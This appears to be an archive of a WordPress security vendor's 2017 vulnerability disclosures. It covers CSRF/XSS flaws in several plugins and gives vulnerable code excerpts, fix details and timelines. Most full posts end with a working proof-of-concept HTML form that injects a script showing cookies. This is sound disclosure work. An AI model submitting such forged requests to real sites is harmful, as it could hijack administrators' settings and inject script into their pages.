01 Dec

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Special Text Boxes

Recently the web scanner service Detectify has been vaguely disclosing minor vulnerabilities in a number of WordPress plugins. It seems like they are aware that they could notify the developers of these, but usually haven’t been doing it. One of the more recent batch was an “Authenticated XSS” vulnerability in the plugin Special Text Boxes.

In a previous post we looked at a reflected cross-site ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

21 Nov

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Simple Events Calendar

While looking in to what turned out be a false report of a vulnerability in the plugin Simple Events Calendar, we noticed there is a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability in the plugin.

When the plugin’s admin page is requested, the function that generates that page checks if a new event has been submitted with the request using the following code (in the file /simple-events-calendar.php):

155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
if(isset($_POST['store_event'])) {
	if($_POST['event']['event_title']) { // New entries at least have to have a title, if none then nothing is written to DB
		global $wpdb;						
		$table_name = $wpdb->prefix . "simple_events";
		$event = $_POST['event'];
		$event_start = mktime($event['event_start_hr'],$event['event_start_mn'],0,$event['event_start_month'],$event['event_start_day'],$event['event_start_yr']);
		$event_end = mktime($event['event_end_hr'],$event['event_end_mn'],0,$event['event_end_month'],$event['event_end_day'],$event['event_end_yr']);
		$newEvent['event_start'] = $event_start;
		$newEvent['event_end'] = $event_end;
		$newEvent['event_title'] = $event['event_title'];
		$newEvent['event_desc'] = $event['event_desc'];
		$newEvent['event_url'] = str_replace(" ", "", $event['event_url']);
		$newEvent['event_loc'] = $event['event_loc'];
		$newEvent['event_loc_url'] = str_replace(" ", "", $event['event_loc_url']);
		$newEvent['event_label'] = strtolower(str_replace(" ", "", $event['event_label']));
 
		$wpdb->insert( $table_name, $newEvent );

That code doesn’t check for a valid nonce, so it is susceptible to cross-site request forgery (CSRF). That code saves user input, from the POST input “event”, without doing any sanitization.

The same is true for similar code right below that code for updating an event.

Then for example, on line 693 of the file the value of one of the items taken from user input, “event_title”, is output without being escaped:

<th class="eventtitle" colspan="3"><form method="post"><input type="hidden" name="event_id" value="<?php echo $details['id'];?>" /><input type="submit" name="edit" value="<?php _e('Edit',SE_TEXTDOMAIN);?>" class="iconsprite editicon" /><input type="submit" name="delete" value="<?php _e('Remove',SE_TEXTDOMAIN);?>" class="iconsprite binicon" /></form> <?php echo stripslashes($details['event_title']);?></th>

The lack of sanitization and escaping leads to the possibility of cross-site scripting (XSS).

We notified the developer of issue on November 10. We have yet to hear back from them and the vulnerability has not been fixed so far. The plugin was last updated nearly a year ago, so it may no longer be supported. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=simple-events, when submitted while logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=simple-events" method="POST">
<input type="hidden" name="store_event" value="test" />
<input type="hidden" name="event[event_title]" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="event[event_loc]" value="" />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • November 10, 2017 – Developer notified.
20 Oct

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Use Any Font

Recently the web scanner service Detectify has been vaguely disclosing minor vulnerabilities in a number of WordPress plugins. It seems like they are aware that they could notify the developer of these, but usually haven’t been doing it. One of the more recent batch was a cross-site request forgery (CSRF) vulnerability in the plugin Use Any Font.

When we went to look into this ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

30 Aug

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Traffic Manager

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. In doing that we sometimes find that the possible vulnerable code isn’t exploitable, but we find another vulnerability while figuring that out, which doesn’t speak to WordPress plugins being all that secure. That is the case with the plugin Traffic Manager, where while looking into a possible issues that occurred while saving the plugin’s settings that the changing of the plugin’s setting lacked protection against cross-site request forgery (CSRF).

The code to save the settings is in the function flush() in the file /core/parameters.class.php, which runs when accessing several of the plugin’s admin pages. Those pages all look to be restricted to Administrator, due to access to them requiring the “activate_plugins” capability, which only Administrators normally have access to.

The saving of the settings will occur if the POST input “submitOptions” exists:

616
if (isset($_POST['submitOptions'])) {

The settings are not sanitized when saved to the database and at least the “metatag_copyright_override” setting is output on frontend pages without being escaped (on line 414 of the file /traffic-manager.php):

414
$dc .= '<meta name="DC.right" content="'.$this->get_param('metatag_copyright_override').'"/>'."\n" ;

That permits cross-site scripting (XSS) to occur.

We notified the developer of the issue a couple of week ago, but have yet to hear back from them.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on frontend pages of the WordPress, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=traffic-manager/traffic-manager.php" method="POST">
<input type="hidden" name="submitOptions" value="update" />
<input type="hidden" name="metatag" value="on" />
<input type="hidden" name="metatag_copyright" value="on" />
<input type="hidden" name="metatag_copyright_override" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • August 14, 2017 – Developer notified.
24 Aug

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in FG Joomla to WordPress

While looking into an unrelated issue with the plugin FG Joomla to WordPress, we found that it contained an authenticated cross-site scripting (XSS) vulnerability.

The plugin has a number of actions that are run through the function ajax_importer(), which is accessed through WordPress’ AJAX functionality and is accessible to anyone logged in to WordPress (/includes/class-fg-joomla-to-wordpress.php):

184
$this->loader->add_action( 'wp_ajax_fgj2wp_import', $plugin_admin, 'ajax_importer' );

The function ajax_importer() located in the file /admin/class-fg-joomla-to-wordpress-admin.php didn’t do any capabilities check. For most actions that function passes the action request to the function dispatch():

228
$result = $this->dispatch($action);

In the function dispatch(), also located in the file /admin/class-fg-joomla-to-wordpress-admin.php, most of the actions check for a valid nonce, so under normal circumstances only Administrators could access them. One of the exceptions was saving the plugin’s settings:

307
308
309
310
311
// Save database options
case 'save':
	$this->save_plugin_options();
	$this->display_admin_notice(__('Settings saved', 'fg-joomla-to-wordpress'));
	break;

In addition, for other actions the saving of the settings also occurs and it occurred before the nonce check:

313
314
315
316
317
318
// Test the database connection
case 'test_database':
	// Save database options
	$this->save_plugin_options();
 
	if ( check_admin_referer( 'parameters_form', 'fgj2wp_nonce' ) ) { // Security check

The lack of a nonce check would also allow for cross-site request forgery (CSRF) to occur.

Before the settings are saved there is validation done, but for the “url” setting the sanitization done doesn’t prevent cross-site scripting (XSS):

937
$url = filter_input(INPUT_POST, 'url', FILTER_SANITIZE_URL);

Using FILTER_SANITIZE_URL will:

Remove all characters except letters, digits and $-_.+!*'(),{}|\\^~[]`<>#%”;/?:@&=.

That leaves the characters needed for cross-site scripting.

After we notified the developer of the issue they fixed each of the issues in version 3.31.0 .

They added a capabilities check:

211
212
213
public function ajax_importer() {
	$current_user = wp_get_current_user();
	if ( !empty($current_user) && $current_user->has_cap('import') ) {

They added a check for a valid nonce when using the save action (as well moving the saving of settings for other actions after the nonce check):

311
312
313
case 'save':
	if ( check_admin_referer( 'parameters_form', 'fgj2wp_nonce' ) ) { // Security check
		$this->save_plugin_options();

And added passing the “url” setting through the esc_url() function:

944
$url = esc_url(filter_input(INPUT_POST, 'url', FILTER_SANITIZE_URL));

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?import=fgj2wp, when submitted while logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="fgj2wp_import" />
<input type="hidden" name="plugin_action" value="save" />
<input type="hidden" name="url" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • August 23, 2017 – Developer notified.
  • August 23, 2017 – Developer responds.
  • August 24, 2017 – Version 3.31.0, which fixes the vulnerability.
11 Aug

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Simba Plugins Manager

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

One of the changelog entries for version 1.6.17 of Simba Plugins Manager is:

SECURITY: Various actions were not protected by ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

19 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Multi Feed Reader

Recently a report was released claiming that a SQL injection vulnerability had been fixed in the latest version of the plugin Multi Feed Reader. In checking into that we found that while the change made in that version improved security, it looked like there may not have actually been a vulnerability in the code before. While looking in to that report we found that the plugin does have a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s admin page.

The CSRF portion is due to a lack on nonce included in the form submitted to create or edit one of the plugin’s feedcollections.

As example of the XSS portion, when creating a new feedcolleciton the name of it is specified by the POST input “mfr_new_feedcollection_name” and is not sanitized (/mfrsettings.php):

74
75
76
77
78
79
80
81
// CREATE action
} elseif ( isset( $_POST[ 'mfr_new_feedcollection_name' ] ) ) {
	$name = $_POST[ 'mfr_new_feedcollection_name' ];
	$existing = FeedCollection::find_one_by_name( $name );
 
	if ( ! $existing ) {
		$fc = new FeedCollection();
		$fc->name = $name;

The name is output without being escaped in a number of locations including line 393 of the same file:

<input type="text" name="feedcollection[name]" value="<?php echo $current->name ?>" class="large-text">

We notified the developer of the plugin about the vulnerability and asked if they were provided any information on how the claimed SQL injection could have been exploited, we have yet to hear back from them.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=multi_feed_reader_handle&tab=edit when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=multi_feed_reader_handle" method="POST">
<input type="hidden" name="mfr_new_feedcollection_name" value="'><script>alert(document.cookie);</script>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 12, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in PayPal Buy Now Button

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Buy Now Button plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /wp-ecommerce-paypal.php):

216
217
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

221
$options['liveaccount'] = 		$_POST['liveaccount'];
230
update_option("wpecpp_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

238
239
$options = get_option('wpecpp_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=wp-ecommerce-setting, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=wp-ecommerce-settings" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Easy PayPal Gift Certificate

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the Easy PayPal Gift Certificate plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /easy-paypal-shopping-cart.php):

273
274
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

278
$options['liveaccount'] = $_POST['liveaccount'];
296
update_option("wpepsc_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

304
305
$options = get_option('wpepsc_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=hugeit_forms_custom_scripts, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=paypal-gift-certificate-settings" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.